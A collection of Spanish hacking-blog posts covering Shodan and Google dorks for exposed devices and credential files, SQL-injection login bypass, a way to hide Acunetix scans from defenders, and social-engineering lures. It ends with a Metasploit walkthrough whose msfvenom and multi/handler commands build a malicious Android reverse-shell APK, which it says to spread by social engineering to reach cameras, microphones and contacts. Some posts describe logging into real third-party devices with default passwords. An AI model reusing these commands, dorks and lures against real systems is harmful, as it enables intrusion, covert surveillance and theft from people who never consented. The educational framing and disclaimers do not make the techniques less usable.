Hacking con buscadores. Episodio IV. Una nueva esperanza al Internet de las Cosas

Saludos hackers!!

Os traigo una nueva entrega de la saga de hacking con buscadores.

Esta vez, vamos a usar Shodan, para realizar nuestros hallazgos en la red.

 Empezaremos con cosas sencillas en lo que este increíble motor de búsqueda nos puede llegar a ofrecer, teniendo en cuenta de que los resultados de búsquedas varían entre el registrarte o no, y de adquirir un pago, en el cual tendrás todas las posibilidades de usar Shodan a límites insospechados. Es posible que en un futuro lo adquiera, para poder ofreceros todo el potencial de Shodan.

Bien comencemos, la primera búsqueda que realizaremos será la siguiente:

• country:"ES" password default.

Podemos ver los resultados que nos proporciona, que son bastantes, y la mayoría pertenecen a dispositivos Cisco. De los cuales prácticamente todos tienen las credenciales cambiadas, ya que es obligatorio cambiarlas y no dejar por defecto cisco:cisco.

En otro dispositivo como el siguiente, podremos acceder a su panel a través de las credenciales admin:1234.

Y entrando vemos su panel de login, que metiendo dichas credenciales, accedemos a lo siguiente:

 Como es de imaginar, aquí dentro, podemos hacer lo que queramos dentro de las opciones que nos permite este dispositivo AP (Point Access). Incluso poder cambiar el fimware y adaptarlo como queramos. Además, vemos como hay un usuario conectado.


En nuestra segunda búsqueda, pondremos:

• country:"ES" routers default.

En uno de ellos encontramos lo siguiente:

Y el puerto 80 nos da el siguiente panel:

Este tipo de dispositivo se usa para redes industriales, con lo que sería probable encontrar sistemas SCADA en él.

Una tercera búsqueda, como la siguiente:

• Country:"ES" credentials default.

Como vemos, muchos siguen siendo dispositivos Cisco, pero no todos lo son, y podemos ver cosas como la siguiente:

Y en su servicio por el puerto 80 nos lleva a la siguiente ventana:

En el cúal podemos tener acceso por ejemplo a su phpinfo, en lo que podemos recopilar mucha información.

Una última búsqueda en Shodan, será en encontrar sistemas TPV:

• Country:"ES" tpv port:"137".

 Accedemos a uno de ellos:

Y como podemos observar, tienen el servicio de NetBIOS, vamos a hacer una comprobación en Nessus para ver que nos dice de él:

Ha podido detectar que soporta conexiones nulas, eso para nosotr@s es algo muy bueno, ya que podremos acceder, y recopilar una cantidad de información sensible del sistema, pudiendo establecer un vector de ataque y comprometer el sistema:

Esto ha sido todo en este capítulo. Como podemos ver, Shodan nos permite dar con mucha información de sistemas y servicios que pueden ser comprometidos y tomar el control sobre ellos. Para que esto no ocurra, es estrictamente necesario cambiar las claves por defecto de nuestros dispositivos y establecer reglas de conexión.

Un saludo y hasta la próxima!!

Cuando los lobos se disfrazan de ovejas

El lobo detrás de la oveja

La ingeniería social. El as en la manga del ciberdelincuente. El conejo sacado de la chistera. Aprovecharse de ese gran defecto en el ser humano que es la confianza. A la ingeniería social también se le conoce como "el arte del engaño". No es magia, pero tienen mucho que ver. Cuando asistimos a un espectáculo de magia es el propio mago el que con su astucia, trata de engañarnos para hacernos pensar que algo es de una manera, cuando realmente no es así.

Al igual que este mago, el ingeniero social utiliza las mejores técnicas y su astucia para que su "truco de magia" resulte efectivo y parezca lo más creíble posible.

Dicho de otra manera, el ingeniero social busca captar la atención de sus víctimas para conseguir un objetivo, que actúen como él quiere. Y el truco es muy sencillo. Se busca aprovechar la curiosidad o el morbo que nos produce conocer y manejar cierta información. Una forma de manipularnos para hacernos actuar de la forma que ellos quieren.

La ingeniería social se lleva a cabo por cualquier medio, desde el día a día y las rutinas de una persona, pasando por correos electrónicos, redes sociales...hasta conseguir el objetivo.

Vamos a un caso más práctico. Supongamos que somos ciberdelincuentes y buscamos que alguien se descargue una aplicación o un archivo que contiene nuestro virus dentro. ¿Qué haríamos? ¿Cómo conseguimos que alguien se lo descargue y lo abra o instale?

No parece sencillo, ¿o si?

Si es el lobo, sin estar disfrazado, el que busca este objetivo, su mensaje sería algo así..."Oye amigo, hazme el favor y descárgate este virus en el ordenador"

No parece la mejor de las opciones, ¿verdad?. Tal vez deberíamos optar por el recurso del mago, el arte del engaño.

Vamos a suponer ahora que el lobo sí se ha disfrazado, que ahora no es quien dice ser. A ver que os parece esto...

"Oye amigo, ¿has visto las últimas fotos comprometidas de Jennifer Lawrence?. Aquí las tienes! [enlace]"

O...

"Estamos sorteando 15 entradas gratis para la final de la Champions League en Milán, ¡participa ya! [enlace]"

No sé vosotros, pero a más de uno le falta tiempo para hacer click en el enlace (todo sea por ver a su Ronaldo o Messi levantando un título más). ¿Por qué creéis que estos mensajes son mucho más llamativos?. Es de sentido común, si a una persona le dices que se descargue directamente el virus, no lo hará, obviamente, pero qué pasa si le vendemos el enlace bajo un titular que le genere curiosidad.

Es posible que pinche y acabe picando en la trampa.

A qué nos estamos enfrentando

El ingeniero social aparece cuando menos te lo esperas pero también tiene debilidades y suele caer en la tendencia de actuar en los mismos escenarios una y otra vez, como esos magos que acaban haciendo sus trucos siempre en la misma plaza del pueblo, dónde, atónitos, los espectadores le adoran y aplauden.

Algunos de esos escenarios más usuales son estos:

• Noticias y rumores sobre famosos: Es sabido que los famosos suelen ser los objetivos principales de estos ciberdelincuentes, pero también son el puente que le llevan al resto de personas. Por ejemplo, los fans de un actor o de un futbolista. Escándalos, rumores, filtraciones, cualquier cosa vale para captar la atención de los usuarios. Imaginación es lo que menos echan en falta estos ingenieros sociales. Vídeos o enlaces a supuestos detalles de un famoso suelen ser los que más nos encontramos.
• Celebración de eventos: Desde festivales, congresos, quedadas, cualquier excusa es buena para poner en circulación falsas entradas, sorteos o descuentos que todo el mundo querrá obtener. ¡Y están tan cerca! Basta con unos pequeños datos personales y lo tendremos. O eso nos quieren hacer creer.
• Nuevos productos o servicios: Los días de salida para juegos, móviles, o cualquier producto son bien utilizados por los ciberdelincuentes para aprovechar la alegría e impaciencia del momento en los usuarios. Son una ayuda para propagar malware en correos, aplicaciones, tweets, vídeos...
• Noticias, newsfeeds...: Difundir noticias diarias masivas está a golpe de click. Sin embargo, el atacante podría tener una gran base de datos con correos electrónicos y demás información de usuarios con el fin de obtener cuentas con el robo de credenciales.
• Situaciones críticas: Normalmente las más usadas, multas, denuncias, supuestos robos de cuenta en su cuenta de google, de apple...hay infinidad de situaciones en las que es fácil confiar y caer en la trampa. Estos ataques están clasificados como "phising", en los que a través de un email o mensaje, se avisa a cierto usuario de que ha habido irregularidades en su cuenta y debe acceder de nuevo para verificar su perfil. Es el más usado puesto que su objetivo es robar datos personales y bancarios de los usuarios. Algunos ejemplos muy muy típicos de phising:
• Problemas en cuentas de correo como gmail, hotmail...
• Problemas de seguridad en cuenta de apple o icloud.
• Supuestas detecciones de intrusión en redes sociales
• Multas de policía
• Problemas de seguridad en cuentas bancarias
• Envíos de facturas electrónicas...

No ser caperucita roja

Podemos pillar el truco del mago. No es tan difícil. Basta con tener algo de sentido común. Y además, aplicándose estos consejos:

1. Nadie nos va a regalar nunca nada.
2. Siempre que vayamos a introducir datos privados en una página web conviene asegurarse de que nos encontramos en la URL correcta, este suele ser el punto débil del phising, el falso enlace.
3. No dar bajo ninguna circunstancia nuestras contraseñas a nadie, especialmente por correo electrónico o redes sociales. Aunque nos estén regalando a cambio las entradas para la final de la champions league.
4. Nunca abrir un fichero o archivo extraño aunque sea de un remitente conocido si el mensaje no parece tener sentido o es algo que no estábamos esperando. 
5. Tampoco dar o introducir nunca datos privados sobre cuentas bancarias o personales a cualquiera si alguien bajo alguna excusa nos lo está pidiendo, aunque éste nos diga que se trata del servicio técnico o el administrador de nuestro banco.

Este es el objetivo que buscamos: Dar caza al lobo.

Para finalizar, queremos nombrar a Kevin Mitnick, uno de los hackers e ingenieros sociales más famosos de la historia y que basaba sus ataques en considerar que todos podemos fallar fácilmente en este aspecto ya que los ataques de ingeniería social, muchas veces llevados a cabo solo con ayuda de un teléfono, están basados en cuatro principios básicos y comunes a todas las personas:

• Todos queremos ayudar.
• El primer movimiento es siempre de confianza hacia el otro.
• No nos gusta decir No. Solo decir sí.
• A todos nos gusta que nos alaben.

Se podrían añadir algunos tipos más como:

• La curiosidad.
• El miedo.
• La codicia.
• La compasión.
• Motivaciones de tipo sexual.

Y por supuesto, no olvidarnos de los gatitos adorables, sí, esos enlaces de vídeos y fotos de tiernos gatitos que todo el mundo ve y les gusta, pero que muchos conducen a dar acceso a información personal.

No hay que olvidar que el hombre es el eslabón más débil de la cadena, una mentira bien llevada será más que suficiente para que seamos nosotros mismos quienes les facilitemos usuarios, contraseñas, datos bancarios... sin hacerles recurrir a detalles técnicos o trabajos más costosos. 

Para el bueno de Kevin, la ingenería social no es más que esto:

"Social engineering is using manipulation, influence and deception to get a person, a trusted insider within an organization, to comply with a request, and the request is usually to release information or to perform some sort of action item that benefits that attacker."

Hacking con buscadores. Episodio II. El Ataque de Inyecciones SQL.

Saludos hackers!!

Os traigo una nueva entrega de la saga de hacking con buscadores.

En esta PoC, agudizaremos nuestra dork en busca de paneles para que los administradores se logueen.

• inurl:validacion.asp ext:asp

 Esta dork nos permitirá encontrar paneles de acceso para webs asp.NET:

De acuerdo con mis compañer@s, por motivos de seguridad, voy a evitar poner ciertos paneles, ya que parte de esta PoC, es mostrar los logins, que puede que alguno con simples inyecciones SQL sea vulnerabilizado. Por ese motivo, pondré capturas aleatorias con el fin de evitar el reconocimiento de dichas webs.

En el panel de arriba, puede observarse que con esa simple inyección, es posible poder acceder a la web logueado.

Veremos un error arrojado por una web encontrado con la dork con la que se está trabajando:

Este tipo de error, es una mala configuración en este caso en SQL Server, y que el administrador debería corregir, ya que confirma las inyecciones en esa web.

• inurl:index.php intitle:Admin * login

 La dork utilizada ahora, nos mostrará páginas index.php en las que se encuentra el panel de acceso para el administrador:

Entraremos en un panel de administración:

 

Indicando esta inyección SQL, nos saldrá un mensaje de error, el error 403, dicho error se produce al entrar en alguna parte en la que no se tiene permiso.

Aunque os preguntaréis que tiene de bueno encontrarnos este error, diré que lo bueno que tiene es que este panel para empezar permite inyecciones SQL. Ya que sino nos arrojaría otro tipo de error, como este usuario o password es incorrecto, o lo lógico, decir que no se permiten el uso de caracteres.

Otro ejemplo:

Y vemos como hemos podido acceder al panel de control del administrador:

• inurl:index.php intext:welcome admin panel

Vamos a obtener paneles de acceso de administración en PHP, en los que se pueda ver en el texto "welcome admin panel" que esta dork nos proporciona:

Dentro de un panel de acceso, y tras introducir una inyección SQL, podremos ver el siguiente resultado:

Un error fatal, aunque no nos hemos logueado, puede ser aún mucho peor, porque nos está arrojando información sobre tablas, columnas...

Estas pruebas están realizadas con fines educativos, no me hago responsable de lo que personas ajenas realicen.

Hacking con buscadores. Episodio I. La Amenaza del Search

Saludos Hackers!

Soy Hurd4n0, y os presento esta PoC que será el comienzo de una saga xD.

En ella veremos dos ejemplos sencillos de unas "Google Dorks" y del daño que pueden llegar a ocasionar en malas manos.

• "this page gives you" "mysql admin * no password"

Con esta dork, lo que estamos buscando son cuentas de administración de base de datos de MYSQL que no tienen una contraseña. Podemos observar los siguientes resultados:

 Pero si ponemos la dork sin las comillas, nos aparecen más resultados:

Al entrar en los enlaces, las páginas que nos saldrán serán como la siguiente:

Lo que podemos ver en la captura es la página de chequeo de seguridad de un servidor web en XAMPP, en el que podemos observar que tiene varias opciones inseguras, que suponen un peligro para el servidor. Como por ejemplo, que la herramienta PHPMyAdmin sea accesible sin credenciales.

•  inurl: ws_ftp filetype:ini intext:pwd

Esta dork nos permitirá visualizar ficheros de configuración ws_ftp.ini. En el contiene información sobre dominios, usuarios y passwords con cifrado, pero bastante débil, sobre servicios de WS_FTP:

Podremos observar el tipo de información que contiene uno de estos ficheros:

A lo largo del fichero, podemos ver los parámetros UID y PWD, los cuales contienen usuario y password respectivamente. A continuación, vemos la debilidad del sistema de cifrado:

Con esto me despido, hasta la siguiente entrega, en la cual seguiremos observando el potencial del hacking con buscadores.

Un saludo hackers!!

Escaneando like a Sir

Prueba de concepto realizada por @ShargonXL (Twitter)

La POC de hoy es bastante sencillita, y trata de como pasar un Acunetix, en sitios que lo bloquean, o de forma que no se detecte (al menos de forma fácil)

Acunetix envia las siguientes cabeceras de forma automática, ya que ha de hacerse de manera profesional y avisando al cliente.

Versión 8.0 (con la que se realiza esta POC)

 

En la versión 9 envía unas mas como Acunetix-Product , creo recordar.

Según este post, envía también estas, no ha sido mi caso, pero lo suyo es que revisaras primero que cabeceras envía tu versión para poder continuar, y hacerlo a sabiendas, ya que pueden variar.

 Para protegerse, BlueTeam, tan sólo bastaría estas lineas de código php.

 

Estarías protegido de un ataque (escaneo ejem ejem) normal por acunetix. 

O no? Pues bien, vamos a ponerlo algo mas complicado al BlueTeam

Pues muy sencillo ahora vamos al Acunetix.

y le establecemos un proxy local al puerto que más rabia te de (y no esté en uso).

 

Abrimos el Fiddler (http://www.telerik.com/fiddler) (i love fiddler) y lo configuramos de forma que escuche peticiones a ese puerto.

 

 

Ahora todas las peticiones del Acunetix pasan por nuestro proxy. Le establecemos filtros de borrado de cabeceras.

 

Y ya puedes escanear, que ¡no será visto! (al menos no enviara dichas cabeceras) :)

 

Y eso es todo amigos!! 

P.D El autor no se hace responsable del mal uso que se le de a esta PoC, usen siempre estos conocimientos de forma ética y con consentimiento del cliente. 

Hackeando dispositivos android con Metasploit

Autores: Juan Velasco y Diego Jurado

Hola hackers! Hoy os traemos una pequeña prueba de concepto de cómo un atacante podría acceder a nuestros datos y dispositivo Android. Para ello realizaremos las pruebas en una simulación mediante el uso de máquinas virtuales.

¡¡Vamos allá!!

Paso 1: Configuración de red

Comprobar conexiones entre los dispositivos

Como trabajaremos en local, puesto que se trata de una prueba de concepto, usaremos dos máquinas virtuales. Una con la distribución Kali Linux 2.0 y otra con una distribución de Android 4.4 que puedes encontrar aquí.

Una vez que tenemos las dos máquinas virtuales encendidas y en funcionamiento, tenemos que ponerlas en modo NAT. Es decir, en red local o interna.

Comprobamos que tenemos conexión entre ambas máquinas realizando un ping entre las dos direcciones IP. Para obtener la dirección IP de nuestro dispositivo Android tenemos que dirigirnos a “Ajustes → Acerca del teléfono → Estado”, teniendo una conexión activa a internet.

Configurar puertos del router

Configuramos puertos del router, abrimos por ejemplo el puerto 5555 y ponemos la interfaz de la máquina virtual que estamos usando, en nuestro caso Kali-Linux.

La máquina virtual Kali tiene la ip (192.168.1.53), tiene que estar en la misma subred que la máquina física desde la cual configuramos el router (192.168.1.33) y deberá estar en modo transparente (Modo Bridged).

Una vez configurados los puertos del router, y la red, procedemos a la creación del malware.

Paso 2: Creación del APK malicioso

Nos vamos a la máquina virtual de Kali Linux, abrimos terminal y ponemos el siguiente comando:

msfvenom -p android/meterpreter/reverse_tcp LHOST=direccion_ip LPORT=puerto R> apkmalicioso.apk

En nuestro caso:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=5555 R> apkmalicioso.apk

Nota: Deberemos poner en LHOST nuestra dirección ip de Kali Linux y en LPORT el puerto que hemos abierto en el router, en nuestro caso el 5555.

Ya tenemos nuestro apk malicioso creado, ahora es importantísimo darle permisos de ejecución desde las propiedades, ya que si no lo hacemos, el usuario no podrá ejecutar e instalar dicha apk.

Ahora toca distribuir nuestro malware vía email, Dropbox o cualquier herramienta de descargas. Ingeniería social.

Como diría Kevin Mitnic

Por otro lado, deberemos abrir metasploit framework y realizar el exploit para escuchar posibles conexiones de nuestras víctimas.

En este caso, lo que haremos será utilizar el exploit multi/handler y el payload reverse_tcp de android para escuchar conexiones ya que serán las víctimas las que se conecten a nosotros.

1. use multi/handler
2. set payload android/meterpreter/reverse_tcp
3. set lhost direccion_ip_kali
4. set lport 5555
5. exploit –j (ponemos el –j para permitir más de una conexión y por tanto para poder abrir varias sesiones al mismo tiempo).

En cuanto la víctima descargue e instale la aplicación, obtendremos una sesión de meterpreter, como podemos ver en la imagen.

Paso 3: Jugando con meterpreter

Ya tenemos la sesión de meterpreter, por lo que tenemos acceso TOTAL al dispositivo móvil.

Es hora de empezar a jugar…

Esta es una lista de algunos comandos que podemos usar:

Podemos mostrar información sobre el sistema:

Listar todos los procesos abiertos:

Acceder a la shell del sistema para navegar por carpetas…

Mostrar las cámaras disponibles

Pudiendo tomar fotografías desde ambas cámaras (delantera y trasera)

Grabar sonidos o activar la webcam

Sacar un listado de contactos o últimas llamadas

Estos son algunos de los comandos que podemos realizar. Es importante saber que todos los archivos se van guardando el carpeta /root de kali linux...

Nota: Los autores de esta prueba de concepto no se hacen responsables del mal uso Be good }:)